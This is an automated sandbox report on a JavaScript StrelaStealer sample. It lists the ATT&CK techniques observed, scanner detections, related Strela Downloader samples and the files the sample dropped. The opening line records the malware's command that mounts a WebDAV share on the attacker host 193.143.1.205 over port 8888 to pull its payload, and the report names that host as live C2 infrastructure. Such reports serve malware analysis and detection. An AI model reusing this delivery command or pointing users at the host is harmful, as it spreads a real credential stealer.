Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1444589682028830633.js	18%	ReversingLabs	Script-JS.Trojan.StrelaStealer
1444589682028830633.js	17%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://193.143.1.205:8888/H	net.exe, 00000007.00000002.2152257987.000001EC2E686000.00000004.00000020.00020000.00000000.sdmp	false	high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3385650185.0000027D78200000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2154324133.0000027D780B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2152257987.000001EC2E686000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2152257987.000001EC2E6AD000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589017
Start date and time:	2025-01-11 08:28:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1444589682028830633.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 34.237.241.83, 18.213.11.84, 50.16.47.176, 54.224.241.105, 162.159.61.3, 172.64.41.3, 23.209.209.135, 184.28.90.27, 199.232.210.172, 2.16.168.107, 2.16.168.105, 2.22.242.123, 2.22.242.11, 13.107.246.45, 52.6.155.20, 172.202.163.200, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:29:56	API Interceptor	25x Sleep call for process: powershell.exe modified
02:30:00	API Interceptor	1x Sleep call for process: net.exe modified
02:30:00	API Interceptor	2x Sleep call for process: svchost.exe modified
02:30:08	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	MPkM9Dd99B.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1159118512797312986.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5476263142183119959.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	98329724306712404.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11411287862891124151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307134065817733
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDug3:gJjJGtpTq2yv1AuNZRY3diu8iBVqFR
MD5:	C13A74FDEAE524217C4E1C64CA92C760
SHA1:	98521443533EEEC0FA58A601BA978432F7F6FC3A
SHA-256:	288C4C3EE11247856EE8A47ABA08A805BABD9511B6CA3D5A1F5795BDA904E04D
SHA-512:	8FBED1BB32D3BC24F41AC6D1D66AEEA85854E891FD5230B5A34ABDCB9A36CAA62011C587691AF3C7869CCD943F1D77E7DFE0E62C6E8B45A435CFAF881D4376A7
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x19c5f144, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585861612504217
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	2C397D28BBC005DADEC3546EAE966398
SHA1:	7DE05EAA66A94FE0303CEB540392931C73FF0AC9
SHA-256:	87B6A0153A0E6ADA4D0E3C0072CF52852F7FADCE6E371FF1091CBC189F026BA4
SHA-512:	F8BB2F2A22E7047B56ECD1AFCE833D5D7E9E3E41F95D2238A4BFA05C8C6212280AC7D167468EF15240564E7D0B11F8AA177A6664CE0C4F22951EA4A24B1A2166
Malicious:	false
Preview:	...D... ...............X\...;...{......................0.z..........{.......}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{....................................]=.....}..................p........}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08094822224691502
Encrypted:	false
SSDEEP:	3:yltKYeTaHnb1GkGuAJkhvekl1kqn/tallrekGltll/SPj:yXKzTmnzrxltnQJe3l
MD5:	19504CFD3B4D70E71C40D8A7C5D59721
SHA1:	CAB3681AF47AE4D76DD33ECAD9B3F0BF9AEEB746
SHA-256:	AB212C781775988E1528B00D7D41B2CF1E110BD60C1C8C7E605711AC74A268AE
SHA-512:	4210BF7D86C2F756AAF4AF6E1858CC019DF95873B2C63D3619A802DA040078B74353CFEF4AC3DE2D7810FA8CE2231894427611E12D0FD87900003282761AA12B
Malicious:	false
Preview:	.q.M.....................................;...{.......}.......{...............{.......{...XL......{..................p........}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.075282695104271
Encrypted:	false
SSDEEP:	6:iO5+B+q2P92nKuAl9OmbnIFUt7+3XWZmwF+3iVkwO92nKuAl9OmbjLJ:75E+v4HAahFUt77/FLV5LHAaSJ
MD5:	B96E54230D7477050FAE6D9050D042F4
SHA1:	52679B24F2E2852E92AEC614069F77AA8FA76A30
SHA-256:	8A8C5DDB2A51AB13E502C0AA080AC0EAF462E36E5A26D2FE0D16D9BD6ED9F637
SHA-512:	F39D650CEEB49862F70680DD41E199D944AE21F5E772A108215955DD310DF515F9F9798453064843D888E502BEEE6E1BB482E1AFE702DDE88BBB52BC8AA55F15
Malicious:	false
Preview:	2025/01/11-02:30:00.725 1a0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:30:00.728 1a0c Recovering log #3.2025/01/11-02:30:00.728 1a0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.075282695104271
Encrypted:	false
SSDEEP:	6:iO5+B+q2P92nKuAl9OmbnIFUt7+3XWZmwF+3iVkwO92nKuAl9OmbjLJ:75E+v4HAahFUt77/FLV5LHAaSJ
MD5:	B96E54230D7477050FAE6D9050D042F4
SHA1:	52679B24F2E2852E92AEC614069F77AA8FA76A30
SHA-256:	8A8C5DDB2A51AB13E502C0AA080AC0EAF462E36E5A26D2FE0D16D9BD6ED9F637
SHA-512:	F39D650CEEB49862F70680DD41E199D944AE21F5E772A108215955DD310DF515F9F9798453064843D888E502BEEE6E1BB482E1AFE702DDE88BBB52BC8AA55F15
Malicious:	false
Preview:	2025/01/11-02:30:00.725 1a0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:30:00.728 1a0c Recovering log #3.2025/01/11-02:30:00.728 1a0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.069064805947908
Encrypted:	false
SSDEEP:	6:iO5iQ+q2P92nKuAl9Ombzo2jMGIFUt76vUIdWZmwF6PSQVkwO92nKuAl9Ombzo23:75n+v4HAa8uFUt76g/F2V5LHAa8RJ
MD5:	6042CF3D3010F56ABE1A2E9F37BCFAC5
SHA1:	2774EDF9F9EFFB972DE7B25430C8B7DD0D6AC0CA
SHA-256:	372639E17C1D91EB2396F6A64116291F8B0C89E75F88E5950A9C745639427543
SHA-512:	11732566D35D049DA2720901B9FE5CD6FB68C1107B430AE78C916B372C178403D97494B23C2AA5F82FC3097FD18624EB6D200E8AA55775B8D999BF875C9056C6
Malicious:	false
Preview:	2025/01/11-02:30:00.757 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:30:00.760 1c0c Recovering log #3.2025/01/11-02:30:00.761 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.069064805947908
Encrypted:	false
SSDEEP:	6:iO5iQ+q2P92nKuAl9Ombzo2jMGIFUt76vUIdWZmwF6PSQVkwO92nKuAl9Ombzo23:75n+v4HAa8uFUt76g/F2V5LHAa8RJ
MD5:	6042CF3D3010F56ABE1A2E9F37BCFAC5
SHA1:	2774EDF9F9EFFB972DE7B25430C8B7DD0D6AC0CA
SHA-256:	372639E17C1D91EB2396F6A64116291F8B0C89E75F88E5950A9C745639427543
SHA-512:	11732566D35D049DA2720901B9FE5CD6FB68C1107B430AE78C916B372C178403D97494B23C2AA5F82FC3097FD18624EB6D200E8AA55775B8D999BF875C9056C6
Malicious:	false
Preview:	2025/01/11-02:30:00.757 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:30:00.760 1c0c Recovering log #3.2025/01/11-02:30:00.761 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\33b52a79-9080-4d8d-8753-6d0bff4a0e42.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0434038189663415
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq/GsBdOg2H5caq3QYiubxnP7E4T3OF+:Y2sRdsadMHA3QYhbxP7nbI+
MD5:	325281DC05EA5D516CFB4CF15C1AE254
SHA1:	F0A90899E1949B15433DE26D24EA7D902B51629A
SHA-256:	1F0CF2E888AC08E114B2360BD1517C8CF8F3559B95AB4109F795CECA85848183
SHA-512:	BD349C05CE75F71073CBB56C702B39ABB3C6D56A57040D5441DE44BA69DB237B6617C9A37F2A0D6543BBF870550D8A1B3FC9D90D2C93A801B9CB093A3A07CD93
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381140612464835","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140842},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0434038189663415
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq/GsBdOg2H5caq3QYiubxnP7E4T3OF+:Y2sRdsadMHA3QYhbxP7nbI+
MD5:	325281DC05EA5D516CFB4CF15C1AE254
SHA1:	F0A90899E1949B15433DE26D24EA7D902B51629A
SHA-256:	1F0CF2E888AC08E114B2360BD1517C8CF8F3559B95AB4109F795CECA85848183
SHA-512:	BD349C05CE75F71073CBB56C702B39ABB3C6D56A57040D5441DE44BA69DB237B6617C9A37F2A0D6543BBF870550D8A1B3FC9D90D2C93A801B9CB093A3A07CD93
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381140612464835","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":140842},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237101232270697
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU6wpXz:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLw
MD5:	234BBD904B3E370B474C14604DB8FF96
SHA1:	CE98E30F4341A756F01D068556F6315B73F6A552
SHA-256:	E8E47578CEFD85182F73CDEC18F81ECA0120A0A04BC683E6FB84473E0178F0DC
SHA-512:	BCC847CBDBAFBE0D70E987543F396487575EA3DB4D24EAB0BAE42EC34C78FBC57AB762E1CCD85BAE5EABCE55273BA4CD8AC2E2C37B360404E06D3D2B5482D708
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.0618201176725846
Encrypted:	false
SSDEEP:	6:iO5nNSQ+q2P92nKuAl9OmbzNMxIFUt7csSdWZmwFusSQVkwO92nKuAl9OmbzNMFd:75n9+v4HAa8jFUt7c4/FN3V5LHAa84J
MD5:	19E2A319C9EDA6720DADA5F1A845B1E7
SHA1:	4F99373B2A5CB96FAFED6534C77182CD6E77A96F
SHA-256:	D787BAFDA5D9FDD56A2B0A9594E701ED18A0E417492A5CBA44F1A51CD0694A91
SHA-512:	A20707F26C03B3CA624B96E8FA948597E999423FC00A5137E0D79590E1B39D47DBE264DBA3A5629BB32AA3B4FA484CA24319655C288618BAB7C7DCF850781945
Malicious:	false
Preview:	2025/01/11-02:30:01.189 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:30:01.213 1c0c Recovering log #3.2025/01/11-02:30:01.219 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.0618201176725846
Encrypted:	false
SSDEEP:	6:iO5nNSQ+q2P92nKuAl9OmbzNMxIFUt7csSdWZmwFusSQVkwO92nKuAl9OmbzNMFd:75n9+v4HAa8jFUt7c4/FN3V5LHAa84J
MD5:	19E2A319C9EDA6720DADA5F1A845B1E7
SHA1:	4F99373B2A5CB96FAFED6534C77182CD6E77A96F
SHA-256:	D787BAFDA5D9FDD56A2B0A9594E701ED18A0E417492A5CBA44F1A51CD0694A91
SHA-512:	A20707F26C03B3CA624B96E8FA948597E999423FC00A5137E0D79590E1B39D47DBE264DBA3A5629BB32AA3B4FA484CA24319655C288618BAB7C7DCF850781945
Malicious:	false
Preview:	2025/01/11-02:30:01.189 1c0c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:30:01.213 1c0c Recovering log #3.2025/01/11-02:30:01.219 1c0c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
